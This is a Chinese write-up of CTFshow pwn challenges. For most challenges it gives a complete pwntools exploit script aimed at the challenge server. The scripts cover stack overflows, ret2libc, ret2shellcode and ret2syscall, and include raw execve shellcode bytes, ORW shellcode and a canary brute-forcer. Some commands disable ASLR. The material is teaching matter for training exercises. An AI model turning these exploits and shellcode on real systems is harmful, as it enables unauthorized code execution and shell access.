Test_your_nc

pwn0

pwn1

发现nc连接后可以直接获得flag。

pwn2

发现直接给了我们shell,只需要nc连接后并执行cat /ctfshow_flag命令即可获得flag。

pwn3

程序本身很简单,就是找到哪个函数能够获得flag。

直接选6即可获得flag。

但是在这里有一个迷惑选项4,就是echo /ctfshow_flag命令。

echo命令:是Linux系统中的一个基础命令,用于在终端输出文本或变量值,常用于脚本中显示信息、调试或生成文件。常用选项:-n 不换行;-e 启用转义字符解释。高级用法:使用重定向将输出保存到文件,如echo “aaaa” > output.txt;追加内容到文件,如echo “aaaa” >> output.txt。

因此当选择选项4时,并不会获得flag,而将打印出ctfshow_flag。

pwn4

该程序将用户输入的字符串与原先已设定好的字符串进行比较,若相同,则调用execve函数获得shell。(具体用法在ret2syscall)

前置基础

pwn5-pwn12

section .data
msg db "Welcome_to_CTFshow_PWN", 0

section .text
global _start

_start:

; 立即寻址方式
mov eax, 11 ; 将11赋值给eax
add eax, 114504 ; eax加上114504
sub eax, 1 ; eax减去1

; 寄存器寻址方式
mov ebx, 0x36d ; 将0x36d赋值给ebx
mov edx, ebx ; 将ebx的值赋值给edx

; 直接寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx

; 寄存器间接寻址方式
mov esi, msg ; 将msg的地址赋值给esi
mov eax, [esi] ; 将esi所指向的地址的值赋值给eax

; 寄存器相对寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
add ecx, 4 ; 将ecx加上4
mov eax, [ecx] ; 将ecx所指向的地址的值赋值给eax

; 基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 2 ; 将2赋值给edx
mov eax, [ecx + edx*2] ; 将ecx+edx*2所指向的地址的值赋值给eax

; 相对基址变址寻址方式
mov ecx, msg ; 将msg的地址赋值给ecx
mov edx, 1 ; 将1赋值给edx
add ecx, 8 ; 将ecx加上8
mov eax, [ecx + edx*2 - 6] ; 将ecx+edx*2-6所指向的地址的值赋值给eax

; 输出字符串
mov eax, 4 ; 系统调用号4代表输出字符串
mov ebx, 1 ; 文件描述符1代表标准输出
mov ecx, msg ; 要输出的字符串的地址
mov edx, 22 ; 要输出的字符串的长度
int 0x80 ; 调用系统调用

; 退出程序
mov eax, 1 ; 系统调用号1代表退出程序
xor ebx, ebx ; 返回值为0
int 0x80 ; 调用系统调用

这部分给了我们一个.asm文件以及一个与其对应的可执行文件,该部分主要让我们了解一些寄存器、寻址方式。

.asm文件:为汇编语言的源代码文件,常用于描述CPU的低级操作指令,它是机器指令的文本形式,直接与硬件交互。.asm文件通常用NASM汇编器编写,由于NASM汇编器与GCC工具链不是直接集成的,因此处理需要经过以下步骤:

nasm -f elf xxx.asm    #生成一个xxx.o文件
ld -m elf_i386 -s -o xxx xxx.o #将xxx.o文件链接成可执行文件

pwn13

这题主要考察gcc的一个使用

pwn14

这题给了我们一个.c文件,主要是将二进制文件内容转换成二进制字符串形式,并以特点格式输出。

需要先创建一个以key命名的文本文件,并在其里面写入CTFshow。

pwn15

这题主要考察如何将.asm文件变为可执行文件。

这里需要注意的是操作系统不一样,编译与链接命令也不一样

pwn16

这题主要考察如何将.s文件变为可执行文件。

其实.s文件与.asm文件都是汇编语言源代码文件,其核心区别在于语法和配套的汇编器。.s文件的默认汇编器为as,语法风格为AT&T语法,而.asm文件的默认汇编器为nasm、MASM、FASM,语法风格为Intel语法

pwn17

该题是一道简单的菜单题,主要考察了我们Linux系统的一些指令使用。此题的话主要看2,3选项,其他的选项没有实质性的意义。

选项3最后会执行system(“cat /ctfshow_flag”)并获得flag,但问题是期间会sleep很久,又由于远程环境时间有限,因此不选该选项。

选项2限制用户输入不超过10字节的字符串,并执行该字符串,因此我们可以直接输入/bin/sh获得shell,或者使用通配符*直接获取flag。

pwn18

这题主要考察了对echo指令的了解

主要是让我们判断哪一个是真的能获取到flag,有两个函数,一个是fake函数,一个是real函数。

对于echo指令,>表示的是将前面的内容替换文件中的内容并保存起来,>>表示的是将前面的内容追加到文件中内容的后面并保存起来。

因此若选择real函数,那么flag is here将会代替/ctfshow_flag文件中原有的内容,即flag,最后得到的就是flag is here;若选择fake函数,那么flag is here将会追加到/ctfshow_flag文件中原有内容的后面,即flag后面加上flag is here,最后去掉flag is here就是flag。

pwn19

该题使用了fclose()关闭文件输出流,接着让用户输入一串字符串,再执行该字符串。本题的难点在于关闭了输出流,那么无法标准输出,就需要进行输出重定向,将标准输出重定向到标准输入。

pwn20-pwn22

该题主要考察对RELRO保护的了解,其主要是通过限 制和保护**全局偏移表(GOT)过程链接表(PLT)**的可写性来防止针对这些结构的攻击。

该保护有三种状态:No RELRO,GOT和PLT均可写;Partial RELRO,GOT开头部分为只读,剩余部分仍可写;Full RELRO,GOT和PLT均为只读

pwn23

简单的一道溢出题目,使用ssh连接后运行程序造成溢出即可获得flag

pwn24

该题没有开启NX保护且没有沙盒保护,因此可以直接打ret2shellcode,这里使用shellcraft模块编写shellcode更加方便。

该题主要研究ctfshow函数,由于该函数无法跟进,就只能看汇编。首先调用__x86_get_pc_thunk_bx函数,将当前指令指针的值保存到ebx中,接着调用read函数,将输入的东西保存到缓冲区,然后再打印出来,最后执行缓冲区中存储的代码。

from pwn import*
context.arch='i386'
io=remote('pwn.challenge.ctf.show',28303)

shellcode=asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

pwn25

一道简单的ret2libc,使用write泄漏libc基址。

from pwn import*
from LibcSearcher import*
elf=ELF('./pwn25')
io=remote('pwn.challenge.ctf.show',28165)

write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

payload1=cyclic(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload1)

write=u32(io.recv(4))
print(hex(write))

libc=LibcSearcher('write',write)
libc_base=write-libc.dump('write')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload2=cyclic(0x88+4)+p32(system)+p32(main)+p32(bin_sh)
io.sendline(payload2)

io.interactive()

这里使用的是LibcSearcher查找libc版本,当然若给了相应libc版本的文件,可以直接导入。

pwn26

该题主要考察ASLR保护参数值的设置。使用下述指令将ASLR参数改为0,获得flag

echo 0 > /proc/sys/kernel/randomize_va_space

ASLR保护即地址空间布局随机化(Address Space Layout Randomization),在Linux下通过/proc/sys/kernel/randomize_va_space文件配置。ASLR工作主要有三个层次:0-完全关闭ASLR保护;1-部分随机化(栈的基地址、共享库的加载基地址、mmap基地址)2-完全随机化(包含1的所有随机化、随机化堆的基地址等等)。

pwn27

使用下述指令将ASLR参数改为0或1,获得flag

echo 0 > /proc/sys/kernel/randomize_va_space
echo 1 > /proc/sys/kernel/randomize_va_space

pwn28

使用下述指令将ASLR参数改为0或1或2,获得flag

echo 0 > /proc/sys/kernel/randomize_va_space
echo 1 > /proc/sys/kernel/randomize_va_space
echo 2 > /proc/sys/kernel/randomize_va_space

pwn29

该题就是感受一下ASLR与PIE同时开启后的地址是什么样的,但是随机的都仅仅是某个对象的起始地址,内部结构没变,也就是相对偏移不会变,因此在后续遇到开启了PIE保护的题目,就得先找到基址,然后通过相对偏移算出所需地址即可。

pwn30

也是一道ret2libc的题目

from pwn import*
from LibcSearcher import*
elf=ELF('./pwn30')
io=remote('pwn.challenge.ctf.show',28232)

write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

payload1=cyclic(0x88+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload1)

write=u32(io.recv(4))
print(hex(write))

libc=LibcSearcher('write',write)
libc_base=write-libc.dump('write')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload2=cyclic(0x88+4)+p32(system)+p32(main)+p32(bin_sh)
io.sendline(payload2)

io.interactive()


pwn31

一道开启了PIE保护的题目

题目直接给了我们main函数的地址,可以接收该地址,接着可以算出基址,然后就没什么难点了。

from pwn import*
from LibcSearcher import*
context.log_level='debug'
io=remote('pwn.challenge.ctf.show',28311)
elf=ELF('./pwn31')

main=int(io.recvline(),16)
print(hex(main))

addr_base=main-elf.sym['main']
write_plt=addr_base+elf.sym['write']
write_got=addr_base+elf.got['write']
ctfshow=addr_base+elf.sym['ctfshow']
ebx=addr_base+0x1fc0

payload1=b'a'*132+p32(ebx)+b'aaaa'+p32(write_plt)+p32(ctfshow)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload1)

write=u32(io.recv(4))
print(hex(write))
libc=LibcSearcher('write',write)
libc_base=write-libc.dump('write')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload2=cyclic(0x88+4)+p32(system)+p32(ctfshow)+p32(bin_sh)
io.sendline(payload2)

io.interactive()

pwn32-pwn34

这三道题主要介绍了FORTIFY_SOURCE保护机制,旨在防止缓冲区溢出和其它与字符串和内存操作相关的安全漏洞,其是在编译时自动插入一组额外代码,用于增强程序对于缓冲区溢出和其他常见安全问题的防护。FORTIFY_SOURCE主要有:运行时长度检查、缓冲区溢出检测、安全警告和错误报告。不同的级别,开启的保护机制是不一样的。

栈溢出

pwn35

一个简单的栈溢出,直接输入大量字符串造成溢出使得程序崩溃,并打印出flag

这里主要是因为signal函数,当收到信号11(SIGSEGV)时就会去执行后面那个函数即打印出flag。

pwn36

简单的32位栈溢出

from pwn import*
io=remote('pwn.challenge.ctf.show',28231)

backdoor=0x8048586
payload=cyclic(0x28+4)+p32(backdoor)
io.sendline(payload)

io.interactive()

pwn37

简单的32位栈溢出,给了shell

from pwn import*
io=remote('pwn.challenge.ctf.show',28150)

backdoor=0x8048521
payload=cyclic(0x12+4)+p32(backdoor)
io.sendline(payload)

io.interactive()

pwn38

简单的64位栈溢出,给了shell,但是得注意堆栈平衡

from pwn import*
context.log_level='debug'
io=remote('pwn.challenge.ctf.show',28230)

ret=0x0400287
backdoor=0x400657

payload=b'a'*(0xA+8)+p64(ret)+p64(backdoor)
io.sendline(payload)

io.interactive()

pwn39

简单的32位栈溢出,这次将system函数和/bin/sh字符串分开了,需要构造一下

from pwn import*
elf=ELF('./pwn39')
io=remote('pwn.challenge.ctf.show',28229)

system=elf.sym['system']
bin_sh=0x08048750

payload=cyclic(0x12+4)+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload)

io.interactive()

pwn40

简单的64位栈溢出,依旧是将system函数和/bin/sh字符串分开了,64位的传参方式是先rdi、rsi、rdx、rcx、r8、r9这几个寄存器,然后才是栈,因此脚本会有所不同

from pwn import*
context.arch='amd64'
elf=ELF('./pwn40')
io=remote('pwn.challenge.ctf.show',28249)

bin_sh=0x0400808
system=elf.sym['system']
ret=0x04004fe
rdi=0x04007e3

payload=cyclic(0xA+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)

io.interactive()

pwn41

简单的32位栈溢出,这次不是/bin/sh字符串了,是sh字符串了

system(‘/bin/sh’)是直接指定了系统默认的shell程序路径来执行命令,而system(‘sh’)则依赖系统的环境变量$PATH来查找sh可执行文件并执行,如果系统的环境变量设置正确,这两种是一样的

from pwn import*
elf=ELF('./pwn41')
io=remote('pwn.challenge.ctf.show',28312)

sh=0x080487BA
system=elf.sym['system']

payload=cyclic(0x12+4)+p32(system)+p32(0)+p32(sh)
io.sendline(payload)

io.interactive()

pwn42

简单的64位栈溢出,跟pwn41一样

from pwn import*
elf=ELF('./pwn42')
io=remote('pwn.challenge.ctf.show',28121)

rdi=0x0400843
ret=0x040053e
sh=0x0400872
system=elf.sym['system']

payload=cyclic(0xA+8)+p64(ret)+p64(rdi)+p64(sh)+p64(system)
io.sendline(payload)

io.interactive()

pwn43

简单的32位栈溢出,这次只有system函数,没有如/bin/sh和sh的字符串了,因此需要重新构造脚本

存在栈溢出,在bss段上存在buf2这么一个变量,因此可以在此处输入/bin/sh字符串,再构造system(‘/bin/sh’)从而获取shell

from pwn import*
elf=ELF('./pwn43')
io=remote('pwn.challenge.ctf.show',28281)

bss=0x0804B060
gets=elf.sym['gets']
system=elf.sym['system']
main=elf.sym['main']

payload1=cyclic(0x6C+4)+p32(gets)+p32(main)+p32(bss)
io.sendline(payload1)

payload2=cyclic(0x6C+4)+p32(system)+p32(0)+p32(bss)

io.sendline(b'/bin/sh\x00')
io.sendline(payload2)

io.interactive()

pwn44

简单的64位栈溢出,和pwn43一样

from pwn import*
elf=ELF('./pwn44')
io=remote('pwn.challenge.ctf.show',28125)

main=elf.sym['main']
system=elf.sym['system']
gets=elf.sym['gets']
bss=0x0602080
rdi=0x04007f3
ret=0x04004fe

payload1=cyclic(0xA+8)+p64(rdi)+p64(bss)+p64(gets)+p64(main)
io.sendline(payload1)

payload2=cyclic(0xA+8)+p64(ret)+p64(rdi)+p64(bss)+p64(system)
io.sendline(b'/bin/sh')
io.sendline(payload2)

io.interactive()

pwn45

简单的32位ret2libc,通过write泄漏libc基址

from pwn import*
from LibcSearcher import*
elf=ELF('./pwn45')
io=remote('pwn.challenge.ctf.show',28302)

write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

payload=cyclic(0x6B+4)+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
io.sendline(payload)

write=u32(io.recvuntil('\xf7')[-4:])
print(hex(write))

libc=LibcSearcher('write',write)
libc_base=write-libc.dump('write')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload=cyclic(0x6B+4)+p32(system)+p32(main)+p32(bin_sh)
io.sendline(payload)

io.interactive()

pwn46

简单的64位ret2libc,通过write泄漏libc基址

from pwn import*
from LibcSearcher import*
io=remote('pwn.challenge.ctf.show',28281)
elf=ELF('./pwn46')

write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']
rdi=0x0400803
rsi_r15=0x0400801
ret=0x04004fe

payload=cyclic(0x70+8)+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(8)+p64(write_plt)+p64(main)
io.sendline(payload)

write=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(write))

libc=LibcSearcher('write',write)
libc_base=write-libc.dump('write')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload=cyclic(0x70+8)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendline(payload)

io.interactive()

pwn47

一道简单的32位ret2libc,直接给了函数地址与/bin/sh字符串地址,因此可以直接泄漏libc基址并获取shell。

from pwn import*
from LibcSearcher import*
elf=ELF('./pwn47')
io=remote('pwn.challenge.ctf.show',28235)

io.recvuntil('puts: ')
puts=eval(io.recvuntil('\n',drop=True))
print(hex(puts))
libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
system=libc_base+libc.dump('system')

io.recvuntil('gift: ')
bin_sh=eval(io.recvuntil('\n',drop=True))

payload=cyclic(0x9c+4)+p32(system)+p32(0)+p32(bin_sh)
io.sendline(payload)

io.interactive()

pwn48

简单的32位ret2libc,这次使用的是puts泄漏libc基址

from pwn import*
from LibcSearcher import*
elf=ELF('./pwn48')
io=remote('pwn.challenge.ctf.show',28277)

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']

payload1=cyclic(0x6b+4)+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
puts=u32(io.recvuntil('\xf7')[-4:])
print(hex(puts))

libc=LibcSearcher('puts',puts)
libc_base=puts-libc.dump('puts')
system=libc_base+libc.dump('system')
bin_sh=libc_base+libc.dump('str_bin_sh')

payload2=cyclic(0x6b+4)+p32(system)+p32(main)+p32(bin_sh)
io.sendline(payload2)

io.interactive()

pwn49

一道静态编译的32位题目,使用mprotect函数可以将内存权限修改为可读可写可执行。

from pwn import*
elf=ELF('./pwn49')
io=remote('pwn.challenge.ctf.show',28243)

mprotect=elf.sym['mprotect']
read=elf.sym['read']

register=0x080a019b
m_start=0x080DA000
m_size=0x1000
m_proc=7

payload=cyclic(0x12+4)+p32(mprotect)+p32(0x080a019b)+p32(m_start)+p32(m_size)+p32(m_proc)
payload+=p32(read)+p32(0x080a019b)+p32(0)+p32(m_start)+p32(m_size)
payload+=p32(m_start)

io.sendline(payload)
shellcode=asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

当然可以打ret2libc。

pwn50

64位ret2libc

from pwn import*
from LibcSearcher import*
libc=ELF('./pwn50_libc.so')
elf=ELF('./pwn50')
io=remote('pwn.challenge.ctf.show',28257)

puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x04007e3
rsi_r15=0x04007e1
ret=0x04004fe

payload1=cyclic(0x20+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter('Hello CTFshow',payload1)
puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
bin_sh=libc_base+next(libc.search('/bin/sh'))

payload2=cyclic(0x20+8)+p64(ret)+p64(rdi)+p64(bin_sh)+p64(system)
io.sendline(payload2)

io.interactive()

mprotect

from pwn import*
from LibcSearcher import*
context.arch='amd64'
libc=ELF('./pwn50_libc.so')
elf=ELF('./pwn50')
io=remote('pwn.challenge.ctf.show',28257)
#io=process('./pwn50')


puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']
rdi=0x04007e3
ret=0x04004fe

payload1=cyclic(0x20+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendlineafter('Hello CTFshow',payload1)
puts=u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts))

libc_base=puts-libc.sym['puts']
mprotect=libc_base+libc.sym['mprotect']
gets=libc_base+libc.sym['gets']
rsi=libc_base+0x023a6a
rdx=libc_base+0x01b96

m_start=0x601000
m_size=0x1000
m_proc=7

payload2=cyclic(0x20+8)+p64(rdi)+p64(m_start)+p64(rsi)+p64(m_size)+p64(rdx)+p64(m_proc)+p64(mprotect)+p64(main)
io.sendline(payload2)

payload3=cyclic(0x20+8)+p64(rdi)+p64(m_start)+p64(gets)+p64(main)
io.sendline(payload3)
io.sendline(asm(shellcraft.sh()))

payload4=cyclic(0x20+8)+p64(m_start)
io.sendline(payload4)

io.interactive()

pwn51

一道简单的32位题目,该题可以实现将I转换成IronMan,因此可以根据这个造成栈溢出。

from pwn import*
io=remote('pwn.challenge.ctf.show',28265)

cat_flag=0x0804902E

payload=b'I'*16+p32(cat_flag)
io.sendline(payload)

io.interactive()

pwn52

简单的32位题目,只需要在调用函数时加上参数即可。

from pwn import*
io=remote('pwn.challenge.ctf.show',28170)

flag=0x08048586
payload=cyclic(0x6C+4)+p32(flag)+p32(0)+p32(0x36c)+p32(0x36d)
io.sendline(payload)

io.interactive()

pwn53

这是一道需要爆破canary的题目,与平时的canary不同的是此题是模拟了一个静态的canary,并不是常规意义上的canary。

from pwn import*
canary=b''

for i in range(4):
for CanaryBit in range(0xFF):
io = remote("pwn.challenge.ctf.show",28235)
payload = b'a'*(0x20) + canary + p8(CanaryBit)

io.sendlineafter(b'>',b"99999")
io.sendafter(b'$ ',payload)

response = io.recvline()
io.close()
if b'Canary Value Incorrect!' in response:
print(f'Canary = {canary} | {p8(CanaryBit)} is Wrong')
else:
print(f'Canary = {canary} | {p8(CanaryBit)} is Right')
canary += p8(CanaryBit)
break

print(f'Compelete! Canary = {canary}')

io = remote("pwn.challenge.ctf.show",28235)

binsh_add = 0x08048696
payload = b'a'*(0x20) + canary + b'a'*(0x10) + p32(binsh_add)

io.sendlineafter(b'>',b"99999")
io.sendafter(b'$ ',payload)

io.interactive()

pwn54

一道模拟用户登录题目,输入用户名,再打印出用户名,再输入密码进行对比,一致就获得flag。这题难点在于如何泄漏密码,由于puts函数会一直输出直到换行符或空白时才停止的特性,那么可以通过这个来泄漏密码。

from pwn import*
io=remote('pwn.challenge.ctf.show',28296)

payload=cyclic(0x100)
io.sendlineafter('Input your Username:',payload)
io.sendline(payload)
io.recvuntil(b',')
password=io.recv(33)
print(password)
io.close()

io=remote('pwn.challenge.ctf.show',28296)
io.sendline(b'haoo')
io.sendline(password)

io.interactive()

pwn55

一道简单的32位栈溢出题目,通过调用不同函数并设置相应的参数,从而满足最后获得flag的条件。

from pwn import*
elf=ELF('./pwn55')
io=remote('pwn.challenge.ctf.show',28263)

flag=0x08048606
flag1=0x08048586
flag2=0x0804859D
ctfshow=elf.sym['ctfshow']

payload1=cyclic(0x2c+4)+p32(flag1)+p32(ctfshow)
io.sendline(payload1)
payload2=cyclic(0x2c+4)+p32(flag2)+p32(ctfshow)+p32(0xACACACAC)
io.sendline(payload2)
payload3=cyclic(0x2c+4)+p32(flag)+p32(ctfshow)+p32(0xBDBDBDBD)
io.sendline(payload3)

io.interactive()

pwn56

简单介绍了32位的ret2shellcode,首先是将字符串/bin/sh入栈再将栈顶地址赋值给ebx寄存器,将ecx与edx寄存器的值设为0,最后将eax的值设为0xb,并使用int 0x80。从而实现execve(‘/bin/sh’,0,0),获得shell。

pwn57

简单的介绍了64位的ret2shellcode,先将rax寄存器入栈,再将rdx和rsi寄存器的值设为0,将/bin//sh字符串放到rbx寄存器中并将该寄存器入栈,最后将/bin//sh弹出到rdi寄存器中并将rax的值设为0x3B,使用syscall触发系统调用。

pwn58

简单的32位ret2shellcode,使用shellcraft模块直接构造shellcode即可

from pwn import*
io=remote('pwn.challenge.ctf.show',28202)

shellcode=asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

pwn59

简单的64位ret2shellcode,只需要设置一下架构即可。

from pwn import*
context.arch='amd64'
io=remote('pwn.challenge.ctf.show',28174)

shellcode=asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

pwn60

简单的32位ret2shellcode。通过栈溢出返回到执行shellcode的地方即可

from pwn import*
io=remote('pwn.challenge.ctf.show',28189)
bss=0x0804A080
shellcode=asm(shellcraft.sh())

payload=shellcode.ljust(112,b'a')+p32(bss)
io.sendline(payload)

io.interactive()

pwn61

简单的64位ret2shellcode,主要在于接收地址。

from pwn import*
context.arch='amd64'
io=remote('pwn.challenge.ctf.show',28121)

shellcode=asm(shellcraft.sh())
io.recvuntil(b'[')
v5=io.recvuntil(b']',drop=True)
v5=int(v5,16)
print(v5)

payload=cyclic(0x10+8)+p64(v5+32)+shellcode
io.sendline(payload)

io.interactive()

pwn62

简单的64位ret2shellcode,主要这次的shellcode输入长度要控制在0x18个字节以内

from pwn import*
context.arch='amd64'
io=remote('pwn.challenge.ctf.show',28195)

shellcode=b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05" #24字节shellcode
io.recvuntil(b'[')
buf=io.recvuntil(b']',drop=True)
buf=int(buf,16)
payload=cyclic(0x10+8)+p64(buf+32)+shellcode
io.sendline(payload)

io.interactive()

pwn63

这次shellcode的长度要控制在0x17个字节以内

from pwn import*
context.arch="amd64"
io=remote("pwn.challenge.ctf.show",28217)

shellcode=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05" #23字节shellcode
io.recvuntil(b"[")
buf=io.recvuntil(b"]",drop=True)
buf=int(buf,16)
payload=cyclic(0x10+8)+p64(buf+32)+shellcode
io.sendline(payload)

io.interactive()

pwn64

此题使用了mmap函数分配了一块连续的地址空间,指定了其相应的权限和属性(可读可写可执行),并将起始地址保存到变量buf中。

from pwn import*
context.arch='i386'
io=remote('pwn.challenge.ctf.show',28123)

shellcode=asm(shellcraft.sh())
io.sendline(shellcode)

io.interactive()

pwn65

这题主要考察可见字符shellcode的编写,使用工具即可。

from pwn import*
io=remote('pwn.challenge.ctf.show',28264)

shellcode=b"Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t" #可见字符shellcode
io.sendafter('Shellcode\n',shellcode)

io.interactive()

pwn66

from pwn import*
context.arch='amd64'
io=remote('pwn.challenge.ctf.show',28103)

shellcode=asm(shellcraft.sh())
payload=b'\x00\xc0'+shellcode
io.sendline(payload)

io.interactive()

pwn67

此题没有开启NX保护,因此可以打shellcode,关键在于如何找到shellcode的地址,只要找到了地址就可以执行shellcode获得shell。

可以看出position的值与v1有关。

通过可以画出大致的栈结构图,此时v1距离seed有0x2d,position=v3=&v1+v2=seed-0x2d+v2=seed-0x2d+random-668(random为0~1336),因此seed=position+0x2d+668-random。我们的nop指令和shellcode是写入到seed中,又因为输入v5的地址要在第一个nop之后在shellcode之前,因此地址可以是seed+random。

from pwn import*
io=remote('pwn.challenge.ctf.show',28251)
shellcode=asm(shellcraft.sh())
io.recvuntil(b'The current location: ')
addr=eval(io.recvuntil('\n',drop=True))
print(hex(addr))
payload=b'\x90'*1336+shellcode
io.sendline(payload)

sh=addr+0x29c+0x2d
io.sendline(hex(sh))

io.interactive()

pwn68

64位的nop sled

from pwn import*
context.arch='amd64'
io=remote('pwn.challenge.ctf.show',28144)

shellcode=asm(shellcraft.sh())
io.recvuntil(b'The current location: ')
addr=eval(io.recvuntil('\n',drop=True))
payload=b'\x90'*1336+shellcode
io.sendline(payload)

sh=addr+668+0x35
io.sendline(hex(sh))

io.interactive()

pwn69

打orw

开启了沙盒保护,且输入长度不够,但没开NX保护,因此可以先调用read函数,在执行orw。

from pwn import*
context.arch='amd64'
io=remote('pwn.challenge.ctf.show',28183)

jmp_rsp=0x0400A01
addr=0x123000

orw_shellcode=shellcraft.open('/ctfshow_flag')+shellcraft.read(3,addr,0x100)+shellcraft.write(1,addr,0x100)
orw_shellcode=asm(orw_shellcode)

jump_addr='''
mov rax,0x123000;
jmp rax;
'''
jump_buf='''
sub rsp,0x30;
jmp rsp;
'''

payload=asm(shellcraft.read(0,addr,0x1000))+asm(jump_addr)
payload=payload.ljust(0x28,b'a')
payload+=p64(jmp_rsp)+asm(jump_buf)
io.sendlineafter(b'do',payload)
io.sendline(orw_shellcode)

io.interactive()

pwn70

绕过strlen打orw。

exp1:

from pwn import*
context.arch='amd64'
io=remote('pwn.challenge.ctf.show',28231)

shellcode=b'\x00B\x00'+asm(shellcraft.cat('/flag'))
io.sendline(shellcode)

io.interactive()

exp2:

from pwn import*
context.arch='amd64'
io=remote('pwn.challenge.ctf.show',28231)

shellcode='''
push 0;
#write
mov r15,0x67616c66; #flag
push r15;
mov rdi,rsp;
mov rsi,0;
mov rax,2;
syscall;
#read
mov rdi,3;
mov rsi,rsp;
mov rdx,0xff;
mov rax,0;
syscall;
#write
mov rdi,1;
mov rsi,rsp;
mov rdx,0xff;
mov rax,1;
syscall;
'''
shellcode=asm(shellcode)
io.sendline(shellcode)

io.interactive()

pwn71

32位ret2syscall

from pwn import*
io=remote('pwn.challenge.ctf.show',28251)

bin_sh=0x080BE408
eax=0x080bb196
edx_ecx_ebx=0x0806eb90
int_0x80=0x08049421

payload=cyclic(112)+p32(eax)+p32(0xB)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(bin_sh)+p32(int_0x80)
io.sendline(payload)

io.interactive()

pwn72

from pwn import*
io=remote('pwn.challenge.ctf.show',28306)

int_0x80=0x0806F350
bss=0x080eb000
eax=0x080bb2c6
edx_ecx_ebx=0x0806ecb0

payload=cyclic(44)+p32(eax)+p32(0x3)+p32(edx_ecx_ebx)+p32(0x10)+p32(bss)+p32(0)+p32(int_0x80)
payload+=p32(eax)+p32(0xb)+p32(edx_ecx_ebx)+p32(0)+p32(0)+p32(bss)+p32(int_0x80)
io.sendline(payload)
io.sendline(b'/bin/sh\x00')

io.interactive()

pwn73

一把梭

ROPgadget --binary pwn73 --ropchain

pwn74

这题介绍了one_gadget攻击方式。one_gadget是libc中存在一些执行execve(‘/bin/sh’,0,0)的片段,当可以泄漏libc地址,并且知道libc版本时可以使用此方法快速控制指令寄存器开启shell。运用于不利构造参数的情况。

from pwn import*
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
elf=ELF('./pwn74')
io=remote('pwn.challenge.ctf.show',28253)

one_gadget=0x10a2fc
io.recvuntil('this:')
printf=int(io.recv(14),16)
print(printf)
libc_base=printf-libc.sym['printf']

io.sendline(str(one_gadget+libc_base))
io.interactive()

pwn75

打的32位栈迁移,先泄漏ebp地址,算出输入地址。

from pwn import*
elf=ELF('./pwn75')
io=remote('pwn.challenge.ctf.show',28213)

leave=0x080484d5
system=elf.sym['system']

payload=b'a'*0x28
io.sendafter('codename:',payload)
io.recvuntil('a'*0x28)
ebp=u32(io.recv(4).ljust(4,b'\x00'))
print(hex(ebp))

buf=ebp-0x38
payload=p32(system)+p32(0)+p32(buf+12)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'a')

payload+=p32(buf-4)+p32(leave)
io.send(payload)

io.interactive()

pwn76

本题先对用户输入的字符串进行base64解码再保存解码后的字符串长度(不能超过12)并将其保存到input中,接着可以修改ebp的值至input,将后门函数存到input,获取即可。

from pwn import*
io=remote('pwn.challenge.ctf.show',28135)

shell=0x08049284
intput=0x0811EB40

payload=b'aaaa'+p32(shell)+p32(intput)
payload=base64.b64encode(payload) #base64编码
io.sendline(payload)

io.interactive()

pwn77

另一种形式的64位ret2libc,注意不要覆盖数组索引

from pwn import*
elf=ELF('./pwn77')
libc=ELF('./pwn77libc.so')
io=remote('pwn.challenge.ctf.show',28276)

rdi=0x04008e3
ret=0x0400576
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.sym['main']

